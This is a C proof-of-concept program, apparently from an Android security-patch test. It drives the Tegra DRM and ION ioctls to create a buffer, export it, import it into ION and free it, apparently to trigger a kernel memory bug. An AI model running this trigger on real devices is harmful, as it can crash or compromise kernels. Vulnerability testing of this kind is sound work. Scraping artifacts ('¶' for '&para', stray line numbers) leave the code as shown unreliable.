1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <dirent.h>
18 #include <dlfcn.h>
19 #include <fcntl.h>
20 #include <linux/sched.h>
21 #include <pthread.h>
22 #include <sched.h>
23 #include <stdio.h>
24 #include <string.h>
25 #include <sys/ioctl.h>
26 #include <sys/mman.h>
27 #include <sys/resource.h>
28 #include <sys/stat.h>
29 #include <sys/syscall.h>
30 #include <sys/time.h>
31 #include <unistd.h>
32 #include <unistd.h>
33
34 #define DRM_TEGRA_GEM_CREATE 0x00
35 #define DRM_TEGRA_GEM_MMAP 0x01
36 #define DRM_TEGRA_SYNCPT_READ 0x02
37 #define DRM_TEGRA_SYNCPT_INCR 0x03
38 #define DRM_TEGRA_SYNCPT_WAIT 0x04
39 #define DRM_TEGRA_OPEN_CHANNEL 0x05
40 #define DRM_TEGRA_CLOSE_CHANNEL 0x06
41 #define DRM_TEGRA_GET_SYNCPT 0x07
42 #define DRM_TEGRA_SUBMIT 0x08
43 #define DRM_TEGRA_GET_SYNCPT_BASE 0x09
44 #define DRM_TEGRA_GEM_SET_TILING 0x0a
45 #define DRM_TEGRA_GEM_GET_TILING 0x0b
46 #define DRM_TEGRA_GEM_SET_FLAGS 0x0c
47 #define DRM_TEGRA_GEM_GET_FLAGS 0x0d
48 #define DRM_TEGRA_GET_CLK_RATE 0x0e
49 #define DRM_TEGRA_SET_CLK_RATE 0x0f
50 #define DRM_TEGRA_START_KEEPON 0x10
51 #define DRM_TEGRA_STOP_KEEPON 0x11
52 #define DRM_TEGRA_GET_CLK_CONSTRAINT 0x12
53 #define DRM_TEGRA_SET_CLK_CONSTRAINT 0x13
54
55 struct drm_tegra_gem_create {
56 __u64 size;
57 __u32 flags;
58 __u32 handle;
59 };
60 struct drm_tegra_open_channel {
61 __u32 client;
62 __u32 pad;
63 __u64 context;
64 };
65 struct drm_tegra_constraint {
66 /* channel context (from opening a channel) */
67 __u64 context;
68 /* index identifying the clock. One of HOST1X_CLOCK_INDEX_* */
69 __u32 index;
70 /* constraint type. One of HOST1X_USER_CONSTRAINT_TYPE_* */
71 __u32 type;
72 /* numeric value for type */
73 __u32 rate;
74 __u32 pad;
75 };
76 struct drm_prime_handle {
77 __u32 handle;
78
79 /** Flags.. only applicable for handle->fd */
80 __u32 flags;
81
82 /** Returned dmabuf file descriptor */
83 __s32 fd;
84 };
85
86 #define DRM_COMMAND_BASE 0x40
87 #define DRM_COMMAND_END 0xA0
88 #define DRM_IOCTL_BASE 'd'
89 #define DRM_IO(nr) _IO(DRM_IOCTL_BASE, nr)
90 #define DRM_IOR(nr, type) _IOR(DRM_IOCTL_BASE, nr, type)
91 #define DRM_IOW(nr, type) _IOW(DRM_IOCTL_BASE, nr, type)
92 #define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type)
93 #define DRM_IOCTL_TEGRA_GEM_CREATE \
94 DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GEM_CREATE, struct drm_tegra_gem_create)
95 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL \
96 DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, \
97 struct drm_tegra_open_channel)
98 #define DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT \
99 DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GET_CLK_CONSTRAINT, \
100 struct drm_tegra_constraint)
101 #define DRM_IOCTL_PRIME_HANDLE_TO_FD DRM_IOWR(0x2d, struct drm_prime_handle)
102
103 int g_fd = -1;
104 int g_ion_fd = -1;
105 enum host1x_class {
106 HOST1X_CLASS_HOST1X = 0x1,
107 HOST1X_CLASS_NVENC = 0x21,
108 HOST1X_CLASS_VI = 0x30,
109 HOST1X_CLASS_ISPA = 0x32,
110 HOST1X_CLASS_ISPB = 0x34,
111 HOST1X_CLASS_GR2D = 0x51,
112 HOST1X_CLASS_GR2D_SB = 0x52,
113 HOST1X_CLASS_VIC = 0x5D,
114 HOST1X_CLASS_GR3D = 0x60,
115 HOST1X_CLASS_NVJPG = 0xC0,
116 HOST1X_CLASS_NVDEC = 0xF0,
117 };
118 int classes[] = {HOST1X_CLASS_HOST1X, HOST1X_CLASS_NVENC, HOST1X_CLASS_VI,
119 HOST1X_CLASS_ISPA, HOST1X_CLASS_ISPB, HOST1X_CLASS_GR2D,
120 HOST1X_CLASS_GR2D_SB, HOST1X_CLASS_VIC, HOST1X_CLASS_GR3D,
121 HOST1X_CLASS_NVJPG, HOST1X_CLASS_NVDEC};
122 #define ION_IOC_MAGIC 'I'
123 #define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
124 #define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
125 struct ion_fd_data {
126 int handle;
127 int fd;
128 };
129 struct ion_handle_data {
130 int handle;
131 };
132
133 int open_driver(void);
134 void gem_create(void);
135 void handle_to_fd(void);
136 void ion_import(void);
137 void ion_handle_free(void);
138
open_driver(void)139 int open_driver(void) {
140 const char* dev_path = "/dev/dri/renderD129";
141 g_fd = open(dev_path, O_RDONLY);
142 if (g_fd < 0) {
143 return g_fd;
144 }
145
146 dev_path = "/dev/ion";
147 g_ion_fd = open(dev_path, O_RDONLY);
148 if (g_ion_fd < 0) {
149 return g_ion_fd;
150 }
151 return 1;
152 }
153
154 char* g_buf = NULL;
155 void* g_context = NULL;
156 int g_gem_handle = -1;
157 int g_dmabuf_fd = -1;
158 int g_ion_handle = -1;
159
gem_create(void)160 void gem_create(void) {
161 struct drm_tegra_gem_create para = {0, 0, 0};
162 para.size = 1024;
163 ioctl(g_fd, DRM_IOCTL_TEGRA_GEM_CREATE, ¶);
164 g_gem_handle = para.handle;
165 }
handle_to_fd(void)166 void handle_to_fd(void) {
167 struct drm_prime_handle para = {0, 0, 0};
168 para.handle = g_gem_handle;
169 ioctl(g_fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, ¶);
170 g_dmabuf_fd = para.fd;
171 }
ion_import(void)172 void ion_import(void) {
173 struct ion_fd_data para = {0, 0};
174 para.fd = g_dmabuf_fd;
175 ioctl(g_ion_fd, ION_IOC_IMPORT, ¶);
176 g_ion_handle = para.handle;
177 }
ion_handle_free(void)178 void ion_handle_free(void) {
179 struct ion_handle_data para = {0};
180 para.handle = g_ion_handle;
181 ioctl(g_ion_fd, ION_IOC_FREE, ¶);
182 }
183
main()184 int main() {
185 if (open_driver() < 0) {
186 return -1;
187 }
188 gem_create();
189 handle_to_fd();
190 ion_import();
191 ion_handle_free();
192 close(g_fd);
193 close(g_dmabuf_fd);
194 return 0;
195 }
196